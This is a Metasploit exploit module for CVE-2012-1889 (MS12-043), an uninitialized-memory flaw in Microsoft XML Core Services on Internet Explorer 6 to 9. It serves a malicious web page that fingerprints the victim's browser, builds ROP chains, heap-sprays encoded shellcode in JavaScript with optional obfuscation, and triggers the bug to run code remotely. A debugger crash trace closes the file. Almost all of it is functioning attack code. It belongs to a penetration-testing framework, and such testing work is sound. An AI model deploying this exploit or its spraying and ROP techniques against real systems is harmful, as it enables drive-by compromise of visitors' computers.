##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :ua_name => HttpClients::IE,
    :ua_minver => "6.0",
    :ua_maxver => "9.0",
    :javascript => true,
    :os_name => OperatingSystems::Match::WINDOWS,
    :classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}",
    :method => "definition",
    :rank => GoodRanking
  })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption",
        'Description' => %q{
          This module exploits a memory corruption flaw in Microsoft XML Core Services
          when trying to access an uninitialized Node with the getDefinition API, which
          may corrupt memory allowing remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'inking26', # Reliable exploitation
          'binjo', # Metasploit module
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-1889' ],
          [ 'BID', '53934' ],
          [ 'OSVDB', '82873'],
          [ 'MSB', 'MS12-043'],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ],
          [ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ]
        ],
        'Payload' => {
          'BadChars' => "\x00",
          'Space' => 1024
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Platform' => 'win',
        'Targets' => [
          # msxml3.dll 8.90.1101.0
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Offset' => '0x100',
              'Rop' => nil,
              'RandomHeap' => false
            }
          ],
          [
            'IE 7 on Windows XP SP3 / Vista SP2',
            {
              'Offset' => '0x100',
              'Rop' => nil,
              'RandomHeap' => false
            }
          ],
          [
            'IE 8 on Windows XP SP3',
            {
              'Rop' => :msvcrt,
              'RandomHeap' => false,
              'RopChainOffset' => '0x5f4',
              'Offset' => '0x0',
              'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll
            }
          ],
          [
            'IE 8 with Java 6 on Windows XP SP3',
            {
              'Rop' => :jre,
              'RandomHeap' => false,
              'RopChainOffset' => '0x5f4',
              'Offset' => '0x0',
              'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ],
          [
            'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
            {
              'Rop' => :jre,
              'RandomHeap' => false,
              'RopChainOffset' => '0x5f4',
              'Offset' => '0x0',
              'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ],
          [
            'IE 9 with Java 6 on Windows 7 SP1',
            {
              'Rop' => :jre,
              'RandomHeap' => true,
              'RopChainOffset' => 0x5FC,
              'Offset' => '0x0',
              'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-06-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ]
    )
  end

  def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  # IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  # IE 7 on Windows XP SP3
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[2]  # IE 7 on Windows Vista SP2
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  # IE 8 on Windows XP SP3
    elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
      return targets[5]  # IE 8 on Windows 7 SP1/Vista SP2
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
      return targets[6]  # IE 9 on Windows 7 SP1
    else
      return nil
    end
  end

  def ret(t)
    case t['Rop']
    when :msvcrt
      return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
    when :jre
      return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
    end
  end

  def popret(t)
    case t['Rop']
    when :msvcrt
      return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
    when :jre
      return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
    end
  end

  def get_rop_chain(t)
    if t['RandomHeap']
      adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c
      adjust << ret(t)
    else
      adjust = ret(t)
    end

    adjust << popret(t)
    adjust << [ t['StackPivot'] ].pack("V")
    adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :)

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :msvcrt
      print_status("Using msvcrt ROP")
      rop = generate_rop_payload('msvcrt', '', { 'target' => 'xp', 'pivot' => adjust })

    else
      print_status("Using JRE ROP")
      rop = generate_rop_payload('java', '', { 'pivot' => adjust })
    end

    return rop
  end

  def get_easy_spray(t, js_code, js_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < 0x230; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray
  end

  def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)
    randnop = rand_text_alpha(rand(100) + 1)
    randnop2 = rand_text_alpha(rand(100) + 1)

    spray = <<-JS

    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});
    var #{randnop2} = "#{js_90_nops}";
    var nops_90 = unescape(#{randnop2});
    var rop_chain = unescape("#{js_rop}");

    while (nops.length < 0x80000) nops += nops;
    while (nops_90.length < 0x80000) nops_90 += nops_90;

    var offset = nops.substring(0, #{t['Offset']});
    var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
    var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);


    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < 0x230; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray
  end

  # Spray published by corelanc0d3r
  # Exploit writing tutorial part 11 : Heap Spraying Demystified
  # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  def get_random_spray(t, js_rop, js_code, js_90_nops)
    spray = <<-JS

    function randomblock(blocksize)
    {
      var theblock = "";
      for (var i = 0; i < blocksize; i++)
      {
        theblock += Math.floor(Math.random()*90)+10;
      }
      return theblock;
    }

    function tounescape(block)
    {
      var blocklen = block.length;
      var unescapestr = "";
      for (var i = 0; i < blocklen-1; i=i+4)
      {
        unescapestr += "%u" + block.substring(i,i+4);
      }
      return unescapestr;
    }

    var heap_obj = new heapLib.ie(0x10000);

    var rop = unescape("#{js_rop}");
    var code = unescape("#{js_code}");
    var #{randnop2} = "#{js_90_nops}";
    var nops_90 = unescape(#{randnop2});

    while (nops_90.length < 0x80000) nops_90 += nops_90;

    var offset_length = #{t['RopChainOffset']};

    for (var i=0; i < 0x1000; i++) {
      var padding = unescape(tounescape(randomblock(0x1000)));
      while (padding.length < 0x1000) padding+= padding;
      var junk_offset = padding.substring(0, offset_length - code.length);
      var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
      while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
      sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
      heap_obj.alloc(sprayblock);
    }

    JS

    return spray
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    p = payload.encoded
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch))
    js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

    if not my_target['Rop'].nil?
      js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
    end

    if my_target['RandomHeap']
      js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
    elsif not my_target['Rop'].nil?
      js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
    else
      js = get_easy_spray(my_target, js_code, js_nops)
    end

    js = heaplib(js, { :noobfu => true })

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    object_id = rand_text_alpha(4)

    html = <<-EOS
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object>
    <script>
    var obj = document.getElementById('#{object_id}').object;
    var src = unescape("%u0c08%u0c0c");
    while (src.length < 0x1002) src += src;
    src = "\\\\\\\\xxx" + src;
    src = src.substr(0, 0x1000 - 10);
    var pic = document.createElement("img");
    pic.src = src;
    pic.nameProp;
    obj.definition(#{rand(999) + 1});
    </script>
    </body>
    </html>
    EOS

    html = html.gsub(/^ {4}/, '')

    print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end

=begin
(e34.358): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7498670c ebx=00000000 ecx=5f5ec68b edx=00000001 esi=7498670c edi=0013e350
eip=749bd772 esp=0013e010 ebp=0013e14c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
msxml3!_dispatchImpl::InvokeHelper+0xb4:
749bd772 ff5118          call    dword ptr [ecx+18h]  ds:0023:5f5ec6a3=????????


0:008> r
eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528
eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
msxml3!_dispatchImpl::InvokeHelper+0xb4:
749bd772 ff5118          call    dword ptr [ecx+18h]  ds:0023:00000018=????????
0:008> k
ChildEBP RetAddr
020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4
020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e
020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa
020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50
020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa
020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d
020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98
020bf590 633a77ff jscript!VAR::InvokeByName+0x135
020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989
020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
020bf958 633891f1 jscript!CSession::Execute+0x175
020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a
020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30
020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219

=end